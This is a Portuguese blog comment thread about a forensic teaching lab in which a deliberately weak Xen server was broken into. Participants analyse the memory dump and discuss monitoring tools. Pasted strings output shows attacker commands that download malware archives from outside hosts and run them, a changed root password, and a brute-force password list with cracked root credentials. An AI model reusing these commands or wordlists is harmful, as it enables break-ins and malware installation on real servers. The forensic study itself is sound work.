- Podem continuar tirando dúvidas. Acho que os comentários neste post vão longe… E obrigado pelo interesse de todos e pelas mensagens aqui e no meu Twitter.
10:45 h
- Bem, esqueci de dizer outra coisinha importante. É muita coisa pra lembrar… Este caso foi montado, dentre outras coisas, para a minha oficina do Consegi 2010 aqui em Brasília. Quem quiser ter um minicurso de forense basta se inscrever. Na verdade, não sei se ainda tem vaga.
- Também, já fui convidado mais uma vez para o Latinoware. Então, vou propor, dentre outras coisas, o mesmo minicurso para lá.
- E, no FISL 2011 (FISL12), acho que vou fazer uma forense ao vivo para o pessoal ver também. Já dei uma palestra de forense no FISL 2009. Mas, desta vez, não será palestra. Será pura ação!
Dia 09 ago. 2010
- Hoje um amigo me alertou sobre uma mensagem postada em um forum. Aqui está ela:
http://www.istf.com.br/vb/pericia-forense/14955-assistindo-uma-invasao-de-camarote-analise-forente.html
- Bem, acho que o pessoal lá no fórum não leu o post antes de comentar algo. Então, vamos lá:
- Como eu disse no post, precisava montar um caso para os meus alunos. Então, não posso fazer uma perícia completa porque, se não, estarei dando a resposta do problema a quem deverá passar alguns dias fazendo o exercício.
- Narrei o que vi para tornar interessante para quem acompanhava ao vivo. Mas não tive a menor intenção de periciar o caso enquanto narrava, pelo motivo já citado. Por isso, as informações morreram no que foi publicado.
- Quanto ao scaneamento de uma rede /8, eu estava observando tudo. Eu fiz dump de memória e vi os acontecimentos no Iptraf. Pode ser estranho um scaneamento /8 mas é incontestável. Então, com todo o respeito, afirmaram coisas com base no achismo.
- Marketing? Não tenho empresa e não faço qualquer serviço de forense para fora do Governo Federal. E fui convidado pelo Serpro, na época, para dar a palestra que eles citaram. Mais um furo de quem resolveu falar sem base…
- Bem, escrevi isso aqui como esclarecimento, uma vez que as informações postadas no referido fórum estão públicas na Internet. []s a todos.
Estarei acompanhando…
Qual outro comando para fazer dump de memoria?
Opa Eriberto, vou seguir em real time :-), legal tbm a disponibilização do ambiente do lab !!!
Aureliano,
Se você utilizar o Xen, como eu, o melhor é fazer esse dump via comando xm, como eu fiz no post anterior. Mas se quiser fazer a partir da máquina, talvez tenha que utilizar dd com fmem. Veja este post.
[]s
Opa Jader,
Pois é. Até agora nada… Vamos esperar.
[]s
Estou acompanhando tb pelo twitter, massa !!!
Aquela porta (43338) é a de origem?
Laercio: É sim… Socket 187.50.126.38:43338.
Oi Eriberto, seria interessante a postagem dos comandos que esta realizando para aquisição dos dados, ou você vai montar isso depois, e fique na dúvidas quanto a esses bots, como funcionam tem algum exemplo, é um programa automatizado ??
Oi Paulo,
Bem, eu podia te explicar sobre bots mas achei tão bem explicadinho aqui que nem vale a pena eu tentar: http://pt.wikipedia.org/wiki/Bot .
Quanto aos comandos, estou usando shell puro. Não quero colocar tudo aqui porque irei matar o reciocínio das pessoas que vão querer analisar sozinhas depois. Mas só para você ter uma ideia, o dump de memória no Xen é feito assim:
# xm dump-core vm0-server memoria.dd
A análise para buscar logins bem sucedidos foi assim:
# strings memoria.dd |grep “server sshd”|grep Accepted|sort -n
Se você precisar, pode perguntar que comento os comandos.
[]s!!!
Hummmm Eriberto,legal já estou vendo, mas uma entaum, vc está fazendo filtros no arquivo coletado pelo tcpdump dinâmicamente(quando ele ainda está coletando),Ex.? e se a porta do ssh da maquina afetada estava só com 43338(não padrão) ou se o serviço estava escutando na padrão tbm,ou em outras mas, sei que está fazendo um post sobre a montagem do honey pot, mas é um dúvida de um ansioso. ; – )
Paulo,
Veja: a porta 43338 é a do atacante!!! A porta SSH da minha máquina alvo é 22 mesmo. É muito difícil um bot scanear portas SSH que não sejam 22. Então, já fica a dica: ao montar um servidor SSH, altere a porta de imediato!
Não estou analisando o tráfego do do tcpdump em tempo real não. Eu tenho um Iptraf rodando na máquina real. Ele mostra tudo o que trafega para a virtual, que é o alvo. De vez em quando, olho para esse Iptraf. Quando vejo um tráfego intenso ou anormal, parto para uma análise do tcpdump gravado ou faço um dump de memória da máquina virtual, dentro da máquina real, e analiso. Isso evita que eu entre, desnecessariamente, na máquina virtual (alvo). Só entrei nela uma vez, que foi hoje bem cedo. Mas não gostei, pois deixa muitos logs etc. Então, estou preferindo fazer os dumps de memória. Já já vou colocar no post uma foto da máquina real com Iptraf para você ver. Também tem o samhain, que vai me mandar um mail assim que alguma alteração de arquivo ocorrer. Por exemplo: se alguém entrar e trocar a senha de um usuário, provocará uma alteração do arquivo /etc/shadow. Serei avisado disso pelo samhain.
Paulo, isso não é um honeypot. Muita gente confunde o conceito de honeypot. Honeypots são máquinas que imitam a sua rede e estão do lado de fora dela. O honeypot tem que ser uma imitação de algum servidor da rede. A honeynet é um conjunto de honeypots. Você coloca isso do lado de fora e não avisa a ninguém. Quem chegar lá e bandido. Então, você poderá estudar os passos dele. Mas tem que ser algo idêntico ao que você tem, para você poder ver como seria o ataque a algo que está na sua rede. Por exemplo: um servidor de e-mail com as mesmas configurações do que existe dentro da sua rede. Assim, você terá um tráfego reduzido e, com certeza, oriundo de atacantes sobre um sistema idêntico ao seu. É interessante ter, na frente dessa máquina honey (ou da rede honey), um sistema de firewall idêntico ao da sua rede. E uma máquina gravando (tcpdump, por exmplo) todo o tráfego passante. Isso facilitará a sua análise. Quando você detectar um ataque, você deverá adotar regras no sistema de firewall (na rede real e na honey) para evitar esse ataque no futuro. O que eu estou fazendo é diferente de uma honey. É um laboratório de coleta de evidências para montar um caso de estudo de forense, mais nada. Algumas pessoas podem fazer isso para colher dados de ataques e montar regras genéricas para firewalls. Um fabricante de antivírus, por exemplo. Mas, nesse caso, cada um tem uma concepção, não considero isso um honeypot.
Pode perguntar à vontade!
[]s!
Hey, Eriberto, duvida boba. Para poder rodar o Xen, é necessário alguma configuração específica de hardware(exemplo: AMD-V ou Intel-VT) ou ele consegue rodar com processadores mais simples, como um Sempron no caso?
Rafael, ele roda normalmente em qualquer processador. Os processadores que você citou são para casos especiais de virtualização. Mas você pode rodar, normalmente, um Linux sobre outro Linux, por exemplo, em um Sempron. Tem como fazer isso seguindo este link: http://tiny.cc/xen_squeeze .
[]s
Poxa Eriberto vlw, estava doido pra chegar em casa do trampo para acompanhar esse estudo, uma verdadeira aula, então vai mas uma pergunta, sem querer abusar, mas já abusando :), no caso quando você cita no escanamento de máquinas windows com vírus, no caso essas máquinas precisam ter ip fixo real e está na sua mesma sub-red da sua para conseguir enlace e mandar esses probes? E no caso quando você parte para a análise do tcpdump depois de verificar o iptraf você para o tcpdump do arquivo q está logando, ou o faz o mesmo rodando.E a ultima :-), no caso do monitoramento do iptraf é só apontar para a placa de rede virtual?? Abs e espero boa sorte para o atacante e mal sorte para gente sysadmin, queremos ataque, quem diria !!!
Paulo,
Você não está abusando. Este espaço é para tirar dúvidas mesmo.
As máquinas Windows são de usuários comuns que estão na Internet. Essas máquinas estão contaminadas e, geralmente, navegam via roteador em conexões ADSL. O roteador tem um IP real e faz um NAT para que a máquina acesse a Internet. Então, elas têm acesso a qualquer outra máquina que esteja na Internet, como é o caso da minha máquina de teste de invasão. Na esmagadora maioria das vezes, o usuário não sabe que a sua máquina está infectada. Após scanear, ela envia os resultados para alguém, quase sempre por e-mail. Assim, uma pessoa mal intencionada pode obter relatórios de diversas máquinas ao mesmo tempo, o que facilita o seu trabalho. Esse monte de máquinas infectadas são chamadas de zumbis. A infecção pode se dar de diversas formas. Links clicados na Internet, power point de cachorrinhos com macros embutidas etc.
Eu analiso mais o conteúdo do dump de memória do que o tráfego. Mas caso tenha que analisar o tcpdump, isso é feito com ele rodando. Há um tcpdump que está gravando tudo em um arquivo (uso a opção -w do tcpdump). Então, com outro tcpdump, usando a opção -r, leio o conteúdo do arquivo que está sendo gravado.
No caso do Iptraf, como a placa de rede da máquina virtual tem o seu tráfego “passado por dentro” da placa de rede da máquina real, para não contaminar a máquina virtual, eu uso o Iptraf na máquina real, observando o tráfego na placa de rede real.
É isso mesmo! Queremos ataque! Mas o mercado de ataques anda fraco… Acho que vamos ter que esperar o fim de semana. 🙁
Grande abraço!
Estou sempre dando uma espiada, tá parecendo o BBB :), uma curiosade da foto, esse lab é na sua casa ou não, e se você usa alguma ip fixo publico(real), ou dá pra fazer com um ADSL, gostaria de implementar alguma coisa do tipo com uma maquina windows.Eu uso aqui ADSl(velox).
Abs e vamos continuar espiando. !!
Olá Paulo,
Pode fazer com ADSL sem problemas. Só tem que mandar o roteador fazer NAT para a máquina (geralmente os roteadores chamam de DMZ) de tudo o que chegar para ele.
[]s
Cheio de bot’s na rede, hehehehe, mas eles sozinho não fazem milagres, e para matar a curiosidade de como um bot funciona, no Episodio 200 do wiki do site do Paul, tem uma demonstração bem legal de uma implementação de um bot chamado FreeZeus em 2 VM’s para teste, é interessante a implementação para termos um ponto de vista de como os atacantes agem e como podemos nos proteger.
Segue o link -http://pauldotcom.com/wiki/index.php/Episode200 é o artigo do Dennis Brown.
Eu não implementei esse lab, pretendo fazer em breve, mas pelos belos posts aqui do Eriberto, dá para ver que ele agiliza bastante uma sondagem e até inicia um exploração de serviços com configurações default e sem hardenig.
E espero que essa madrugada tenha muitos artefatos para análise.
Good Studies for ALL !!
Eriberto, com o tcpdump ou outra ferramenta, qual seria a forma para identificar maquinas windows infectadas ou até problemas de lentidão (ex: cabo com problema) em um rede ?
Show Jader!
Edu,
Resposta longa… Falei sobre isso no FISL deste ano.
Bem, em resumo, você tem que conhecer protocolos de rede. Mas um exemplo: você coloca um tcpdump na saída de uma máquina. Ela envia um Syn. Agora, na próxima máquina que estiver na sequência, o Syn não chega… Problema de cabo.
Mas eu prefiro fazer assim: digamos que você tenha dois roteadores Linux na sua rede que te levam para a Internet e um monte de switches na frente dos clientes. Você quer testar se o caminho está limpo. Então, no roteador mais distante dos clientes, você instala um servidor de páginas e cria um arquivo enorme lá dentro. Um arquivo de 500 MB por exemplo. Veja:
# dd if=/dev/zero of=/var/www/rolha.iso bs=50M count=10
Usei a extensão ISO para provocar uma reação nos browsers. Agora, você vai no cliente e faz download do rolha.iso. Observe a velocidade de download. Atente também para o fato da maioria dos browsers mostrar o resultado em MB/s. Então, para saber a velocidade em Mb/s, você deve multiplicar a taxa mostrada por 8. Com isso, saberá se há problemas ou não. Não esqueça de retirar o servidor de páginas do ar depois do teste. Ou configure-o para servir somente para a rede interna.
Para identificar vírus, eu faço o seguinte: na saída para a Internet eu mando o iptables logar tudo o que sai da rede. No fim do dia (depois da meia-noite), um script shell conta quantas vezes cada máquina acessou a Internet. Máquinas infectadas terão uma quantidade absurda de acessos. É lógico que você tem que usar IP fixo ou amarrar o IP ao MAC de cada máquina no DHCP. Eu uso a segunda opção. Dá trabalho mas vale a pena. Você pode atribuir uma faixa de IP a cada departamento da empresa e, com isso, aumentar o controle.
É isso.
Vou fazer os testes =)
Grato!
[]s
Por curiosidade, qual serviço está usando para saber a localização geográfica de cada IP ?
Edu,
No Debian uso o comando geoiplookup, presente no pacote geoip-bin.
[]s
Eriberto, muito bom seus posts cara, não li todos inteiros ainda, mas assim que chegar em casa vou ler com calma.
Assim que terminar sua wiki de como montar algo semelhante ao seu laboratório vou tentar reproduzir também, deve ser uma ótima experiência. Obrigado por compartilhar conosco.
Gostaria de parabeniza-lo também pelas suas palestras no FISL11, pude participar de duas e com certeza foram de grande aproveitamento..
Fico no aguardo de mais posts,
Abraços
Odilo Jr.
Obrigado Odilo!!!
[]s
Bem.. Eu to curioso pra ver o dump de memória.. Como eu tinha falado antes 😀
A senha do root foi a mesma colocada no post do blog anterior?? ou eu estou enganado?
Se for issu mostra que seria o mesmo cara? heheheh
To montando 2 servidores aqui.. Vo continua mechendo e acompanhando o blog.. =)
Não é a mesma senha…
Claro.. eu pensei que o “chauthtok” era a senha…
Nada a ver ¬¬…
Haaa
Fantástico esse post Eriberto. Pelo que eu percebi tu facilitou bem as coisas pra eles. Houveram tentativas mais refinadas na tentativa de ataque a serviços com falha de segurança ainda aberta usando exploit ?
Valeu.
Na verdade, estou na mesma situação que vocês. Não sei quase nada ainda. Tenho que fazer uma mini-forense para descobrir tudo. 🙂
So uma pergunta boba.. Que senha estava no root(Que vc colocou)?
Eriberto,
Gostei deste post.. ainda sou iniciante na area de forense, por isso a pergunta é de iniciante.. gostaria de saber como eu faço para restaurar esse dump de memoria que vc disponibilizou. Pode ser feito em uma maquina virtual no cent os ??
Laercio, era 123456
🙂
Interessante é que tem cara que scaneou sem parar e não conseguiu… :-/
NÃO HÁ PERGUNTAS BOBAS AQUI. FAÇAM PERGUNTAS! SERÁ UM PRAZER RESPONDER.
Oi Gustavo. Você não restaura. Você analisa com strings + grep, hexedit, mcview e outras ferramentas.
Tente isto: # strings ram.dd | grep passwd
[]s!
Eriberto, se puder descrever os passos que utilizou em sua mini-forense em um post.. sei que você já disponibiliza vários materiais, mas focando nesses dados acaba esclarecendo mais e podendo cada um reproduzir as técnicas 🙂
muito boa experiência..
abraços
Odilo Jr.
Achei um negocio interessante:
# strings ram.dd | grep pscan
9.114.153.169/sipscan7.1.tgz
tar xvfz sipscan7.1.tgz
cd sipscan7.1.tgz
wget 89.114.153.169/sipscan7.1.tgz
tar xvfz sipscan7.1.tgz
cd sipscan7.1.tgz
Parece que ele tinha um arquivo de senhas:
root root
root password
root 111111
root 123456
root qwerty
root p@ssw0rd
root pa55w0rd
root passw0rd
root 1q2w3e
root abc123
root abcd1234
root 1234
root redhat
E esse Nu-ti Arat.. Achei estranho:
Nu-ti Arat ->root:p@ssw0rd:94.249.146.194
Nu-ti Arat ->root:pa55w0rd:94.249.146.194
Nu-ti Arat ->root:passw0rd:94.249.146.194
Nu-ti Arat ->root:1q2w3e:94.249.146.194
Nu-ti Arat ->root:abc123:94.249.146.194
Vo procura mais =D
Odilo,
Não vou fazer isso hoje. Talvez demore. Mas gostaria muito que o pessoal fosse fazendo algo e postando aqui. Eu posso tirar as dúvidas. Em breve vou escrever um pequeno dia. Levo um dia para fazer isso.
UMA DICA: a primeira coisa que se faz é: # strings ram.dd > ram.strings
Isso reduz bastante a quantidade de informações a serem pesquisadas com strings + grep.
[]s!
Estou baixando o dump do hd e olhando a memoria enquanto issu:
# strings ram.dd | grep ^wget
wget http://bigboss2009.110mb.com/gosh.tgz
wget 89.114.153.169/sipscan7.1.tgz
wget lib/ld-
wget luciano.ucoz.com/cronds.tgz
2 Desses 3 arquivos eu consegui baixar(Fiz um VPN com um programa de VPN para nao pegarem meu ip).. Tem bastante script ali.. Mais não olhei muito.. Acredito que seja somente scanners.. Queria ver esse cronds.tgz.. Se eu tiver sorte deve estar no hd ainda.. Apesar que o pacote ja foi excluido.. Acredito que os programas estejam em /var/tmp… (tem um cd /var/tmp dentro da memoria)
Olhando os arquivos baixados acredito que achei a senha que o cara troco(danion1994):
# strings ram.dd | grep ^wget -A20 -n
(..)
184990:wget luciano.ucoz.com/cronds.tgz
184991-tar xvf cronds.tgz
184992-rm -rf cronds.tgz
184993-cd crond
184994-./autorun
184995-./start been
184996-cd /var/tmp
184997-cd gosh
184998-cat vuln.txt
184999-rm -rf cat vuln.txt
185000-passwd
185001-danion1994
185002-danion1994
185003-cd /var/tmp
185004-ls -a
Sera que 1994 é o ano que ele nasceu?? hahahah.. To gostando disso…
Oi Eriberto, quanta coisa aconteceu :), no evento de 11:55 hs, como você soube que eles entraram e estavam conversando? e no caso dos escanementos das redes na porta 22, você observou pelo iptraf né isso !! []’s
Eriberto, como já comentei em um replay no twitter, está de parabéns!
é a primeira vez que vejo algo do tipo pela internet… acompanhei fielmente a cada atualização, vidrado!
sem mais, vou baixar os arquivos disponibilizados e analisa-los tb..hehe
Laercio, você está indo bem. Assim é a forense. Você começa brincando. Depois, você vai desenvolvendo um método próprio. E nasce um perito. É isso mesmo.
Apenas uma dica: a análise de discos de fraudadores, pedófilos etc, é um trabalho do tipo ache o que puder. Já no caso de uma invasão, você tem que fazer a linha do tempo. Isso é feito com base nos mactimes, colocando em ordem cronológica os arquivos existentes. Tem comandos para isso. Pesquise! Depois disso, vem o ache o que puder. Mas isso se você estiver fazendo uma forense séria. Se quiser só brincar, divirta-se!
Mas estou gostando. Continue como quiser!
Paulo,
Nos dois casos foi pelo Iptraf. A porta 6667 é mais que manjada. É a porta padrão do IRC. Lá em 1994, 1995, não tinha MSN e outras coisas. Então, só conversávamos pelo IRC. Você entrava no canal #Brasil, por exemplo, tinha 2000 pessoas. No #Rio tinha umas 500. Então, quando olhei para o Iptraf e vi uns três 6667 na tela, nem pensei duas vezes. No caso dos scaneamentos, milhões de 22 na tela. Chegou a parar a máquina virtual, pois ela só tinha 64 MB de memória. Foi nisso que encerrei os trabalhos. Se vocês analisarem com cuidado a RAM, vão ver que, em determinado momento, houve falta de recursos.
[]s!
Valeu Rafael! Qualquer dúvida, estamos na área!
Muito interessante o relato e as técnicas usadas. Agora, se eles quisessem dificultar a sua vida, bastaria uma simples troca do seu email no /etc/aliases para algum que eles tivessem acesso.
Voce teria alguma contra-medida caso isso venha a acontecer?
Novamente, parabéns pelo post.
Oi Saulo,
Na verdade não. Eu saberia. O objetivo do samhain em uma máquina é dar o primeiro alerta de que algo errado aconteceu. Para não ocorrer, por exemplo, de você ser invadido e nunca ficar sabendo. Isso é bom, principalmente, em casos de invasão via web. Então, ao trocar o e-mail, o arquivo seria modificado. O samhain, imediatamente, iria mandar um alerta para mim. Mas porque para mim e não para o novo e-mail? Porque ainda não teria sido dado o comando # newaliases. Entendeu? O samhain cumpriu com a sua finalidade. E outra: geralmente esses caras têm baixo ou médio conhecimento. Até eles chegarem nesse ponto de imaginar um /etc/aliases… O que eles geralmente fazem é dar um ps ax e tirar tudo que é perigoso do ar. O samhain também avisa quando sai do ar.
[]s
Sem duvidas o samhain é extremamente util para notificar sobre os ataques. Mas novamente pensando como o inimigo, hehehe… Poderiam dar um kill -9 no processo do sendmail, para o samhain nao conseguir mais reportar nenhuma atividade.
Mas concordo que realmente é um pensamento mais elaborado (que esperamos que a maioria desses “moleques” nao tenha), e vai na contramao de um dos objetivos da invasao, que é justamente o envio de spam pela maquina zumbi…
[]’s
Saulo,
Você está certo. Mas, mesmo assim, tem uma saída…
O samhain é configurado para enviar mail a partir de um determinado nível de mensagem. No caso, o default é enviar o que for CRIT. Mas no log ele coloca tudo o que acontece. Saídas:
1. Configurá-lo para enviar tudo o que for CRIT e qualquer atividade referente a login (acho que dá para fazer isso e vou tentar implementar nos meus servidores).
2. Criar um servidor de logs. Assim, todos os logs serão enviados para outra máquina. Inclusive os INFO.
3. Configurar para enviar nível INFO por mail. Mas, nesse caso, vais ter uma tonelada de mails por dia.
O que acha?
[]s
Servidor de log é uma boa ideia. Centraliza o trabalho de verificaçao, bem como backup dos mesmos.
Junto a isso um monitoramento como o Nagios do serviço de email, informando indisponibilidade da porta 25 caso o atacante tente cortar a comunicaçao. Aih ja da pra perceber mais rapidamente que houve um problema com o servidor.
[]’s
Show Saulo!